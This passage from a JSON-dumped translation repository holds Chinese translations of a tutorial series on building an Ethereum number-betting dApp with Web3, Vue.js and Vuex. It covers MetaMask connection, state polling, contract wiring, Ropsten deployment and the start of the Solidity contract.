Web3 和 Metamask\n\n就像前面提到的，为了让 Vue 应用能获取到数据，我们需要触发（dispatch）一个 action 执行异步的 API 调用。我们会使用 promise 将几个方法链式调用，并将这些代码提取（封装）到文件 _util/getWeb3.js_ 中。粘贴以下的代码，其中包含了一些有助你遵循的注释。我们会在代码块下面对它进行解析：\n\n```\nimport Web3 from 'web3'\n\n/*\n* 1. Check for injected web3 (mist/metamask)\n* 2. If metamask/mist create a new web3 instance and pass on result\n* 3. Get networkId - Now we can check the user is connected to the right network to use our dApp\n* 4. Get user account from metamask\n* 5. Get user balance\n*/\n\nlet getWeb3 = new Promise(function (resolve, reject) {\n  // Check for injected web3 (mist/metamask)\n  var web3js = window.web3\n  if (typeof web3js !== 'undefined') {\n    var web3 = new Web3(web3js.currentProvider)\n    resolve({\n      injectedWeb3: web3.isConnected(),\n      web3 () {\n        return web3\n      }\n    })\n  } else {\n    // web3 = new Web3(new Web3.providers.HttpProvider('http://localhost:7545')) GANACHE FALLBACK\n    reject(new Error('Unable to connect to Metamask'))\n  }\n})\n  .then(result => {\n    return new Promise(function (resolve, reject) {\n      // Retrieve network ID\n      result.web3().version.getNetwork((err, networkId) => {\n        if (err) {\n          // If we can't find a networkId keep result the same and reject the promise\n          reject(new Error('Unable to retrieve network ID'))\n        } else {\n          // Assign the networkId property to our result and resolve promise\n          result = Object.assign({}, result, {networkId})\n          resolve(result)\n        }\n      })\n    })\n  })\n  .then(result => {\n    return new Promise(function (resolve, reject) {\n      // Retrieve coinbase\n      result.web3().eth.getCoinbase((err, coinbase) => {\n        if (err) {\n          reject(new Error('Unable to retrieve coinbase'))\n        } else {\n          result = Object.assign({}, result, { coinbase })\n          resolve(result)\n        }\n      })\n    })\n  })\n  .then(result => {\n    return new Promise(function (resolve, reject) {\n      // Retrieve balance for coinbase\n      result.web3().eth.getBalance(result.coinbase, (err, balance) => {\n        if (err) {\n          reject(new Error('Unable to retrieve balance for address: ' + result.coinbase))\n        } else {\n          result = Object.assign({}, result, { balance })\n          resolve(result)\n        }\n      })\n    })\n  })\n\nexport default getWeb3\n```\n\n第一步要注意的是我们使用 promise 链接了我们的回调方法，如果你不太熟悉 promise 的话，请参考[此链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)。下面我们要检查用户是否有 Metamask（或 Mist）运行。Metamask 注入 web3 本身的实例，所以我们要检查 window.web3（注入的实例）是否有定义。如果是否的话，我们会用 Metamask 作为当前提供者（currentProvider）创建一个 web3 的实例，这样一来，实例就不依赖于注入对象的版本。我们把新创建的实例传递给接下来的 promise，在那里我们做几个 API 调用：\n\n*   _web3.version.getNetwork()_ 将返回我们连接的网络 ID。\n*   _web3.eth.coinbase()_ 返回我们节点挖矿的地址，当使用 Metamask 时，它应该会是已选择的账户。\n*   _web3.eth.getBalance(\\<address\\>)_ 返回作为参数传入的该地址的余额。\n\n还记得我们说过 Vuex 容器中的 action 需要异步地进行 API 调用吗？我们在这里将其联系起来，然后再从组件中将其触发。在 _store/index.js_ 中，我们会导入 _getWeb3.js_ 文件，调用它，然后将其（结果）commit 给一个 mutation，并让其（状态）保留在容器中。\n\n在你的 import 声明中增加：\n\n```\nimport getWeb3 from '../util/getWeb3'\n```\n\n然后在（store 内部）的 action 对象中调用 _getWeb3_ 并 _commit_ 其结果。我们会添加一些 `console.log` 在我们的逻辑中，这样做是希望让 dispatch-action-commit-mutation-statechange 流程更加清楚，有助于我们理解整个执行的步骤。\n\n```\nregisterWeb3 ({commit}) {\n      console.log('registerWeb3 Action being executed')\n      getWeb3.then(result => {\n        console.log('committing result to registerWeb3Instance mutation')\n        commit('registerWeb3Instance', result)\n      }).catch(e => {\n        console.log('error in action registerWeb3', e)\n      })\n    }\n```\n\n现在我们要创建我们的 mutation，它会将数据存储为容器中的状态。通过访问第二个参数，我们可以访问我们 commit 到 mutation 中的数据。在 _mutations_ 对象中增加下面的方法：\n\n```\nregisterWeb3Instance (state, payload) {\n console.log('registerWeb3instance Mutation being executed', payload)\n let result = payload\n let web3Copy = state.web3\n web3Copy.coinbase = result.coinbase\n web3Copy.networkId = result.networkId\n web3Copy.balance = parseInt(result.balance, 10)\n web3Copy.isInjected = result.injectedWeb3\n web3Copy.web3Instance = result.web3\n state.web3 = web3Copy\n }\n```\n\n很棒！现在剩下要做的是在我们的组件中触发（dispatch）一个 action，取得数据并在我们的应用中进行呈现。为了触发（dispatch）action，我们将会用到 [Vue 的生命周期钩子](https://vuejs.org/v2/guide/instance.html#Instance-Lifecycle-Hooks)。在我们的例子中，我们要在它创建之前触发（dispatch）action。在 _components/casino-dapp.vue_ 中的 name 属性下增加以下方法：\n\n```\nexport default {\n  name: 'casino-dapp',\n  beforeCreate () {\n    console.log('registerWeb3 Action dispatched from casino-dapp.vue')\n    this.$store.dispatch('registerWeb3')\n  },\n  components: {\n    'hello-metamask': HelloMetamask\n  }\n}\n```\n\n很好！现在我们要渲染 hello-metamask 组件的数据，我们账户的所有数据都将在此组件中进行呈现。从容器（store）中获得数据，我们需要在计算属性中增加一个 getter 方法。然后，我们就可以在模板中使用大括号来引用数据了。\n\n```\n<template>\n <div class='metamask-info'>\n   <p>Metamask: {{ web3.isInjected }}</p>\n   <p>Network: {{ web3.networkId }}</p>\n   <p>Account: {{ web3.coinbase }}</p>\n   <p>Balance: {{ web3.balance }}</p>\n </div>\n</template>\n\n<script>\nexport default {\n name: 'hello-metamask',\n computed: {\n   web3 () {\n     return this.$store.state.web3\n     }\n   }\n}\n</script>\n\n<style scoped></style>\n```\n\n太棒啦！现在一切都应该完成了。在你的终端（terminal）中通过 `npm start` 启动这个项目，并访问 `localhost:8080`。现在，我们可以看到 Metamask 的数据。当我们打开控制台，应该可以看到 `console.log` 输出的 —— 在 Vuex 那段中的描述状态管理模式信息。\n\n![](https://cdn-images-1.medium.com/max/800/1*Z1S3FigrOgjE4xEY8f5PcQ.png)\n\n说真的，如果你走到了这一步并且一切正常，那么你真的很棒！这是本系列教程目前为止，难度最大的一部分。在下一部分中，我们将学到如何轮询 Metamask（如：账户切换）的变化，并将在第一部分描述智能合约与我们的应用相连接。\n\n**以防万一你出现错误，在[这个 Github 仓库](https://github.com/kyriediculous/dapp-tutorial/tree/hello-metamask) 的 hello-metamask 分支上有此部分完整的代码**\n\n**不要错过**[**本系列的最后一部分**](https://medium.com/@Alt_Street/create-your-first-ethereum-dapp-with-web3-and-vue-js-part-3-dc4f82fba4b4)**！**\n\n如果你喜欢本教程的话，请让我们知道，谢谢你坚持读到最后。\n\nETH — 0x6d31cb338b5590adafec46462a1b095ebdc37d50\n\n* * *\n\n想完成自己的想法吗？我们提供以太坊（Ethereum）概念验证和开发众募。\n\n- [**Alt Street —— 区块链顾问**：区块链概念验证和代币销售等等... altstreet.io](https://altstreet.io)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js-part-3.md",
    "content": "> * 原文地址：[Create your first Ethereum dAPP with Web3 and Vue.JS (Part 3)](https://itnext.io/create-your-first-ethereum-dapp-with-web3-and-vue-js-part-3-dc4f82fba4b4)\n> * 原文作者：[Alt Street](https://itnext.io/@Alt_Street?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js-part-3.md](https://github.com/xitu/gold-miner/blob/master/TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js-part-3.md)\n> * 译者：[sakila1012](https://github.com/sakila1012)\n> * 校对者：[allenlongbaobao](https://github.com/allenlongbaobao)，[talisk](https://github.com/talisk)\n\n# 使用 Web3 和 Vue.js 来创建你的第一个以太坊去中心化应用程序（第三部分）\n\n大家好，欢迎来到本系列的最后一部分。如果你还没进入状况，那么我告诉你，我们将为以太坊区块链创建一个简单的去中心化应用程序。您可以随时查看第 1 和第 2 部分！\n\n- [使用 Web3 和 Vue.js 来创建你的第一个以太坊中心化应用程序（第一部分）](https://github.com/xitu/gold-miner/blob/master/TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js.md)\n- [使用 Web3 和 Vue.js 来创建你的第一个以太坊中心化应用程序（第二部分）](https://github.com/xitu/gold-miner/blob/master/TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js-part-2.md)\n\n### 接着第二部分的结尾开始\n\n到目前为止，我们的应用程序能够从 metamask 获取并显示帐户数据。但是，在更改帐户时，如果不重新加载页面，则不会更新数据。这并不是最优的，我们希望能够确保响应式地更新数据。\n\n我们的方法与简单地初始化 web3 实例略有不同。Metamask 还不支持 websockets，因此我们将不得不每隔一段时间就去轮询数据是否有修改。我们不希望在没有更改的情况下调度操作，因此只有在满足某个条件（特定更改）时，我们的操作才会与它们各自的有效负载一起被调度。\n\n也许上述方法并不是诸多解决方案中的最优解，但是它在严格模式的约束下工作，所以还算不错。在 _util_ 文件夹中创建一个名为 _pollWeb3.js_ 的新文件。下面是我们要做的：\n\n*  导入 web3，这样我们就不依赖于 Metamask 实例\n*  导入我们的 store，这样我们就可以进行数据对比和分发操作\n*  创建 web3 实例\n*  设置一个间隔来检查地址是否发生了变化，如果没有，检查余额是否发生了变化\n*  如果地址或余额有变化，我们将更新我们的 store。因为我们的 _hello-metamask_ 组件具有一个 _Computed_ 属性，这个改变是响应式的\n\n```\n\nimport Web3 from 'web3'\nimport {store} from '../store/'\n\nlet pollWeb3 = function (state) {\n  let web3 = window.web3\n  web3 = new Web3(web3.currentProvider)\n\n  setInterval(() => {\n    if (web3 && store.state.web3.web3Instance) {\n      if (web3.eth.coinbase !== store.state.web3.coinbase) {\n        let newCoinbase = web3.eth.coinbase\n        web3.eth.getBalance(web3.eth.coinbase, function (err, newBalance) {\n          if (err) {\n            console.log(err)\n          } else {\n            store.dispatch('pollWeb3', {\n              coinbase: newCoinbase,\n              balance: parseInt(newBalance, 10)\n            })\n          }\n        })\n      } else {\n        web3.eth.getBalance(store.state.web3.coinbase, (err, polledBalance) => {\n          if (err) {\n            console.log(err)\n          } else if (parseInt(polledBalance, 10) !== store.state.web3.balance) {\n            store.dispatch('pollWeb3', {\n              coinbase: store.state.web3.coinbase,\n              balance: polledBalance\n            })\n          }\n        })\n      }\n    }\n  }, 500)\n}\n\nexport default pollWeb3\n```\n\n现在，一旦我们的 web3 实例被初始化，我们就要开始轮询更新。所以，打开 _Store/index.js_ ，导入 _pollWeb3.js_ 文件，并将其添加到我们的 _regierWeb3Instance()_ 方法的底部，以便在状态更改后执行。\n\n```\nimport pollWeb3 from '../util/pollWeb3'\n\nregisterWeb3Instance (state, payload) {\n console.log('registerWeb3instance Mutation being executed', payload)\n let result = payload\n let web3Copy = state.web3\n web3Copy.coinbase = result.coinbase\n web3Copy.networkId = result.networkId\n web3Copy.balance = parseInt(result.balance, 10)\n web3Copy.isInjected = result.injectedWeb3\n web3Copy.web3Instance = result.web3\n state.web3 = web3Copy\n pollWeb3()\n }\n```\n\n由于我们正在调度操作，所以需要将其添加到 store 中，并进行变异以提交更改。我们可以直接提交更改，但为了保持模式一致性，我们不这么做。我们将添加一些控制台日志，以便您可以在控制台中观看精彩的过程。在 actions 对象中添加：\n\n```\npollWeb3 ({commit}, payload) {\n console.log('pollWeb3 action being executed')\n commit('pollWeb3Instance', payload)\n }\n```\n\n现在我们只需要对传入的两个变量进行更改\n\n```\npollWeb3Instance (state, payload) {\n console.log('pollWeb3Instance mutation being executed', payload)\n state.web3.coinbase = payload.coinbase\n state.web3.balance = parseInt(payload.balance, 10)\n }\n```\n\n搞定了！如果我们现在改变 Metamask 的地址，或者余额发生变化，我们将看到在我们的应用程序无需重新加载页面更新。当我们更改网络时，页面将重新加载，我们将重新注册一个新实例。但是，在生产中，我们希望显示一个警告，要求更改到部署协约的正确网络。\n\n我知道这是一个漫长的道路。但在下一节，我们将最终深入到我们的智能协议连接到我们的应用程序。与我们已经做过的相比，这实际上相当容易了。\n\n### 实例化我们的协议\n\n首先，我们将编写代码，然后部署协议并将 ABI 和 Address 插入到应用程序中。为了创建我们期待已久的 casino 组件，需要执行以下操作：\n\n*  需要一个输入字段，以便用户可以输入下注金额\n*  需要代表下注数字的按钮，当用户点击某个数字时，它将把输入的金额押在该数字上\n*  onClick 函数将调用 smart 协议上的 bet() 函数\n*  显示一个加载旋转器，以显示事务正在进行中\n*  交易完成后，我们会显示用户是否中奖以及中奖金额\n\n但是，首先，我们需要我们的应用程序能够与我们的智能协议交互。我们将用已经做过的同样的方法来处理该问题。在 _util_ 文件夹中创建一个名为 _getContract.js_ 的新文件。\n\n```\nimport Web3 from ‘web3’\nimport {address, ABI} from ‘./constants/casinoContract’\n\nlet getContract = new Promise(function (resolve, reject) {\n let web3 = new Web3(window.web3.currentProvider)\n let casinoContract = web3.eth.contract(ABI)\n let casinoContractInstance = casinoContract.at(address)\n // casinoContractInstance = () => casinoContractInstance\n resolve(casinoContractInstance)\n})\n\nexport default getContract\n```\n\n首先要注意的是，我们正在导入一个尚不存在的文件，稍后我们将在部署协议时修复该文件。\n\n首先，我们通过将 ABI(我们将回到)传递到 _web3.eth.Contact()_ 方法中，为稳固性协议创建一个协议对象。然后，我们可以在一地址上初始化该对象。**在这个实例中，我们可以调用我们的方法和事件。**\n\n然而，如果没有 action 和变体，这将是不完整的。因此，在 _casino-component.vue_ 的脚本标记中添加以下内容。\n\n```\nexport default {\n name: ‘casino’,\n mounted () {\n console.log(‘dispatching getContractInstance’)\n this.$store.dispatch(‘getContractInstance’)\n }\n}\n```\n\n现在 action 和变体在 store 中。首先导入 _getContract.js_ 文件，我相信您现在已经知道如何做到这一点了。然后在我们创建的过程中，调用它：\n\n```\ngetContractInstance ({commit}) {\n getContract.then(result => {\n commit(‘registerContractInstance’, result)\n }).catch(e => console.log(e))\n }\n```\n\n把结果传给我们的变体：\n\n```\nregisterContractInstance (state, payload) {\n console.log(‘Casino contract instance: ‘, payload)\n state.contractInstance = () => payload\n }\n```\n\n这将把我们的协议实例存储在 store 中，以便我们在组件中使用。\n\n### 与我们的协议交互\n\n首先，我们将添加一个数据属性（在导出中）到我们的 casino 组件中，这样我们就可以拥有具有响应式属性的变量。这些值将是 winEvent、amount 和 Pending。\n\n```\ndata () {\n return {\n amount: null,\n pending: false,\n winEvent: null\n }\n }\n```\n\n我们将创建一个 onclick 函数来监听用户点击数字事件。这将触发协议上的 _bet()_ 函数，显示微调器，当它接收到事件时，隐藏微调器并显示事件参数。在 data 属性下，添加一个名为 methods 的属性，该属性接收一个对象，我们将在其中放置我们的函数。\n\n```\nmethods: {\n    clickNumber (event) {\n      console.log(event.target.innerHTML, this.amount)\n      this.winEvent = null\n      this.pending = true\n      this.$store.state.contractInstance().bet(event.target.innerHTML, {\n        gas: 300000,\n        value: this.$store.state.web3.web3Instance().toWei(this.amount, 'ether'),\n        from: this.$store.state.web3.coinbase\n      }, (err, result) => {\n        if (err) {\n          console.log(err)\n          this.pending = false\n        } else {\n          let Won = this.$store.state.contractInstance().Won()\n          Won.watch((err, result) => {\n            if (err) {\n              console.log('could not get event Won()')\n            } else {\n              this.winEvent = result.args\n              this.pending = false\n            }\n          })\n        }\n      })\n    }\n  }\n```\n\n_bet()_ 函数的第一个参数是在协议中定义的参数 u Number._Event.Target.innerHTML_ ，接下来，引用我们将在列表标记中创建的数字。然后是一个定义事务参数的对象，这是我们输入用户下注金额的地方。第三个参数是回调函数。完成后，我们将监听这一事件。\n\n现在，我们将为组件创建 html 和 CSS。只是复制粘贴它，我认为它已经很浅显了。在此之后，我们将部署协议，并获得 ABI 和 Address。\n\n```\n<template>\n <div class=”casino”>\n   <h1>Welcome to the Casino</h1>\n   <h4>Please pick a number between 1 and 10</h4>\n   Amount to bet: <input v-model=”amount” placeholder=”0 Ether”>\n   <ul>\n     <li v-on:click=”clickNumber”>1</li>\n     <li v-on:click=”clickNumber”>2</li>\n     <li v-on:click=”clickNumber”>3</li>\n     <li v-on:click=”clickNumber”>4</li>\n     <li v-on:click=”clickNumber”>5</li>\n     <li v-on:click=”clickNumber”>6</li>\n     <li v-on:click=”clickNumber”>7</li>\n     <li v-on:click=”clickNumber”>8</li>\n     <li v-on:click=”clickNumber”>9</li>\n     <li v-on:click=”clickNumber”>10</li>\n  </ul>\n  <img v-if=”pending” id=”loader” src=”https://loading.io/spinners/double-ring/lg.double-ring-spinner.gif”>\n  <div class=”event” v-if=”winEvent”>\n    Won: {{ winEvent._status }}\n    Amount: {{ winEvent._amount }} Wei\n  </div>\n </div>\n</template>\n\n<style scoped>\n.casino {\n margin-top: 50px;\n text-align:center;\n}\n#loader {\n width:150px;\n}\nul {\n margin: 25px;\n list-style-type: none;\n display: grid;\n grid-template-columns: repeat(5, 1fr);\n grid-column-gap:25px;\n grid-row-gap:25px;\n}\nli{\n padding: 20px;\n margin-right: 5px;\n border-radius: 50%;\n cursor: pointer;\n background-color:#fff;\n border: -2px solid #bf0d9b;\n color: #bf0d9b;\n box-shadow:3px 5px #bf0d9b;\n}\nli:hover{\n background-color:#bf0d9b;\n color:white;\n box-shadow:0px 0px #bf0d9b;\n}\nli:active{\n opacity: 0.7;\n}\n*{\n color: #444444;\n}\n</style>\n```\n\n### Ropsten 网络和 Metamask（面向第一次用户）\n\n如果您不熟悉 metamask 或以太坊网络，请不要担心。\n\n1.  打开浏览器和 metamask 插件。接受使用条款并创建密码。\n2.  将种子短语存放在安全的地方(这是为了在丢失钱包时将其恢复原状)。\n3.  点击「以太坊主网」并切换到 Ropsten 测试网。\n4.  单击「购买」，然后单击「Ropsten Testnet Fucet」。在这里我们可以得到一些免费的测试-以太坊。\n5.  在 faucet 网站上，点击「从 faucet 请求 1 ether」几次。\n\n当所有的事情都熟悉了并做完之后，您的 Metamask 应该如下所示：\n\n![](https://cdn-images-1.medium.com/max/800/1*IT3Lpfh2FiPSMEvVUl4ffA.png)\n\n### 部署和连接\n\n再打开 remix，我们的协议应该还在。如果不是，请转到[此要点](https://gist.github.com/anonymous/6b06bef626928589e3a53a70c021ec02)并复制粘贴。在 ReMix 的 rop 右边，确保我们的环境被设置为「InsistedWeb 3(Ropsten)」，并且选择了我们的地址。\n\n部署与[第1部分](https://itnext.io/create-your-first-ethereum-dapp-with-web3-and-vue-js-c7221af1ed82)中的部署相同。我们在 Value 字段中输入几个参数来预装协议，输入构造函数参数，然后单击 Create。这一次，metamask 将提示接受/拒绝事务（约定部署）。单击「接受」并等待事务完成。\n\n当 TX 完成后点击它，这将带你到那个 TX 的萎缩块链浏览器。我们可以在「to」字段下找到协议的地址。你的协议虽然不同，但看起来很相似。\n\n![](https://cdn-images-1.medium.com/max/800/1*_l_EVygtbwHgway4sxwOjQ.png)\n\n我们的协议地址在「to」字段中。\n\n这就给了我们地址，现在是 ABI。回到 remix 并切换到「编译」选项卡（右上角）。在协议名称旁边，我们将看到一个名为「Details」的按钮，单击它。第四个领域是我们的 ABI。\n\n![](https://cdn-images-1.medium.com/max/800/1*gGPKAotB7qmUY70ZdZDDyA.png)\n\n不错，现在我们只需要创建前一节还不存在的一个文件。因此，在 _util/constents_ 文件夹中创建一个名为 _casinoContract.js_ 的新文件。创建两个变量，粘贴必要的内容并导出变量，这样我们从上面导入的内容就可以访问它们。\n\n```\nconst address = ‘0x…………..’\nconst ABI = […]\nexport {address, ABI}\n```\n\n### 干得好！ \n\n现在，我们可以通过在终端中运行 _npm start_ ，并在浏览器中运行 _localhost：8080_ 来测试我们的应用程序。输入金额并单击一个数字。Metamask 将提示您接受事务，旋转器将启动。在 30 秒到 1 分钟之后，我们得到第一次确认，因此也得到了事件的确认。我们的余额发生了变化，所以 pollweb 3 触发它的 action 来更新余额：\n\n![](https://cdn-images-1.medium.com/max/800/1*GvWC8YzcuzWBs8TdSphiQw.png)\n\n最终结果(左)和生命周期(右)。\n\n如果你能在这个系列中走到这一步，我会为您鼓掌。我不是一个专业的作家，所以有时阅读起来并不容易。我们的应用程序在主干网上已经设置好了，我们只需要让它更漂亮一些，更友好一些。我们将在下一节中这样做，尽管这是可选的。\n\n### 关注需要它的部分\n\n我们很快就会讲完的。它将只是一些 html、css 和 vue 条件语句，带有 v-if/v-Else。\n\n**在 App.vue **中，将容器类添加到我们的 div 元素中，在 CSS 中定义该类：\n\n```\n.container {\n padding-right: 15px;\n padding-left: 15px;\n margin-right: auto;\n margin-left: auto;\n}\n@media (min-width: 768px) {\n .container {\n width: 750px;\n }\n}\n```\n\n**在 main.js 中，**导入我们已经安装的 font-awesome 的库（我知道，这不是我们需要的两个图标的最佳方式）：\n\n```\nimport ‘font-awesome/css/font-awesome.css’\n```\n\n**在 Hello-metanask.vue** 中，我们将做一些更改。我们将在我们的 _Computed_ 属性中使用 mapState 助手，而不是当前函数。我们还将使用 v-if 检查 _isInjected_ ，并在此基础上显示不同的 HTML。最后的组件如下所示：\n\n```\n<template>\n  <div class='metamask-info'>\n    <p v-if=\"isInjected\" id=\"has-metamask\"><i aria-hidden=\"true\" class=\"fa fa-check\"></i> Metamask installed</p>\n    <p v-else id=\"no-metamask\"><i aria-hidden=\"true\" class=\"fa fa-times\"></i> Metamask not found</p>\n    <p>Network: {{ network }}</p>\n    <p>Account: {{ coinbase }}</p>\n    <p>Balance: {{ balance }} Wei </p>\n  </div>\n</template>\n\n<script>\nimport {NETWORKS} from '../util/constants/networks'\nimport {mapState} from 'vuex'\nexport default {\n  name: 'hello-metamask',\n  computed: mapState({\n    isInjected: state => state.web3.isInjected,\n    network: state => NETWORKS[state.web3.networkId],\n    coinbase: state => state.web3.coinbase,\n    balance: state => state.web3.balance\n  })\n}\n</script>\n\n<style scoped>\n#has-metamask {\n  color: green;\n}\n#no-metamask {\n  color:red;\n}</style>\n```\n\n我们将执行相同的 v-if/v-else 方法来设计我们的事件，该事件将在赌场内部返回 **-Component.vue**：\n\n```\n<div class=”event” v-if=”winEvent”>\n <p v-if=”winEvent._status” id=”has-won”><i aria-hidden=”true” class=”fa fa-check”></i> Congragulations, you have won {{winEvent._amount}} wei</p>\n <p v-else id=”has-lost”><i aria-hidden=”true” class=”fa fa-check”></i> Sorry you lost, please try again.</p>\n </div>\n\n#has-won {\n  color: green;\n}\n#has-lost {\n  color:red;\n}\n```\n\n最后，在我们的 _clickNumber()_  函数中，在 _this.winEvent=Result.args_ ：下面添加一行：\n\n```\nthis.winEvent._amount = parseInt(result.args._amount, 10)\n```\n\n### 恭喜，你已经完成了！\n\n**首先，项目的完整代码可以在主分支下获得：**[**https://github.com/kyriediculous/dapp-tutorial/tree/master**](https://github.com/kyriediculous/dapp-tutorial/tree/master) **!**\n\n![](https://cdn-images-1.medium.com/max/800/1*jb6ety7sf_MxbbAR30NIxQ.png)\n\n输掉赌注后的最后申请：\n\n在我们的应用程序中仍然有一些警告。我们没有在任何地方正确地处理错误，我们不需要所有的控制台日志语句，它不是一个非常完美的应用程序(我不是一个设计人员)，等等。然而，这款应用程序做得很好。\n\n希望本教程系列能够帮助您构建更多、更好的去中心化应用程序。我真诚地希望你和我一样喜欢读这篇文章。\n\n我不是一个有 20 多年经验的软件工程师。因此，如果您有任何建议或改进，请随时发表意见。我喜欢学习新事物，在力所能及的范围内提高自己。谢谢。\n\n更新：[增加以太坊平衡显示](https://github.com/kyriediculous/dapp-tutorial/commit/a07edf3182a3d6c7284e830f709d79b61a40ab0e)\n\n**欢迎在Twitter上关注我们，访问我们的网站，如果您喜欢本教程，请留下提示！**\n\n- [**Alt Street(@Alt_strt)Twitter**：Alt Street的最新消息(@Alt_strt)。区块链是爱，区块链是生命。我们开发概念证明和...twitter.com](https://twitter.com/Alt_Strt)\n\n- [**Alt Street-区块链咨询公司**：区块链概念证明和象征性销售...AltStreet.io](https://altstreet.io)\n\nTIPJAR: ETH — 0x6d31cb338b5590adafec46462a1b095ebdc37d50\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js.md",
    "content": "> * 原文地址：[Create your first Ethereum dAPP with Web3 and Vue.JS (Part 1)](https://itnext.io/create-your-first-ethereum-dapp-with-web3-and-vue-js-c7221af1ed82)\n> * 原文作者：[Alt Street](https://itnext.io/@Alt_Street?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js.md](https://github.com/xitu/gold-miner/blob/master/TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js.md)\n> * 译者：[foxxnuaa](https://github.com/foxxnuaa)\n> * 校对者：[yankwan](https://github.com/yankwan),[FateZeros](https://github.com/FateZeros)\n\n# 使用 Web3 和 Vue.js 来创建你的第一个以太坊 dAPP（第一部分）\n\n欢迎来到另一个教程！在本教程中，我们将讨论如何使用 Ethereum、Web3js、VueJS 和 Vuex 创建一个简单的、响应式的去中心化应用程序。您可能需要对 javascript 和 web 应用程序有一些了解才能真正享受本教程。如果您不了解 Vue，不用担心，我们将在实现应用程序时简要地介绍一下基础知识。\n\n我们的应用将会很简单。用户可以在 1 到 10 之间下注以太币。当用户猜对时，他得到了他的奖励 x10（略低于庄家切牌）。\n\n第一部分，我们将讨论项目设置和智能合约的创建。第二部分，我们将介绍 web3js API 和 VueJS/Vuex，第三部分，我们将融会贯通并将应用程序连接到合约中。跟着一起，享受旅程，会很棒的。\n\n我们的应用程序最终看起来像这样：\n\n![](https://cdn-images-1.medium.com/max/800/1*sELED_FHGWla_S1QJQxzhA.png)\n\n我们的最终应用程序。\n\n* * *\n\n### 前提条件\n\n由于项目比较简单，我们不会使用 truffle。我们将在测试网络上使用 MetaMask 和 Remix([https://remix.ethereum.org](https://remix.ethereum.org))编写和部署智能合约。\n\n我们需要做的第一件事是安装 nodeJS 和 NPM，在您的操作系统上按照步骤进行安装：[https://nodejs.org/en/](https://nodejs.org/en/)。在终端窗口运行如下命令检查 node 是否正确安装：\n\n```\nnode -v\nnpm -v\n```\n\n接下来，如果您还没安装 metamask，则安装 metamask：[https://metamask.io/](https://metamask.io/)\n\n我们最后一个条件是 vue-cli，它将帮助我们轻松设置 VueJS 项目：\n\n```\nnpm i vue-cli -g\n```\n\n* * *\n\n### 项目设置\n\n我们将使用 remix 编写和部署智能合约，并通过 metamask 插件部署到 Ropsten 测试网络。在前端应用程序中，需要与合约交互的是合同地址和 _ABI_ （ _ABI_ 定义了如何在机器代码中访问数据结构或计算程序）。\n\n我们的前端将是一个 vue-cli 生成的 vueJS 应用程序。我们也将使用 _web3_ 来与合约通信。遵循以下简单步骤，为客户端应用程序创建 backbone ：\n\n1. 打开一个终端，并将目录更改为您想要创建应用程序的地方。\n2. 在终端窗口输入以下命令来创建我们的项目，并输入“回车”来完成向导：\n\n```\nvue init webpack betting-dapp\n```\n\n3. 现在我们将进入我们的项目文件夹并安装 web3，vuex 和 font-awesome：\n\n```\ncd betting-dapp\nnpm i web3@^0.20.0 vuex font-awesome -s\n//To start the dummy project generated by the vue-cli use 'npm start'\n```\n\n_*我们没有使用 web3 1.0.0 测试版，因为它在写入时与 MetaMask 不兼容。*_\n\n* * *\n\n### 编写智能合约\n\n在我们毫无头绪地编码之前，我们必须首先分析我们需要的组件：\n\n1. 我们需要知道合约的所有者并拥有访问权限（为简单起见，我们将不再修改所有者）\n2. 合约的所有者可以销毁合约并提取余额\n3. 用户可以在 1 - 10 之间下注\n4. 在合约创建时，所有者能够设置最低下注金额和庄家上风（为简单起见，创建后不可更改）\n\n**第一步和第二步**非常简单，我们已经添加了注释，这样就没问题了。 打开 [Remix]（http://remix.ethereum.org）开始工作（文章结尾处的要点链接）：\n\n```\npragma solidity ^0.4.10;\ncontract Ownable {\n address owner;\n function Ownable() public {\n//Set owner to who creates the contract\n owner = msg.sender;\n }\n//Access modifier \nmodifier Owned {\n require(msg.sender == owner);\n _;\n }\n}\ncontract Mortal is Ownable {\n//Our access modifier is present, only the contract creator can      use this function\n  function kill() public Owned { \n selfdestruct(owner);\n }\n}\n```\n\n首先我们创建合约 Ownable，构造函数 _Ownable（）_将在创建时被调用，并将状态变量 'owner' 设置为创建者的地址。 我们还定义了一个访问控制，当我们附加的函数的调用者不是合约所有者时，它将抛出异常。\n\n我们将此功能传递到 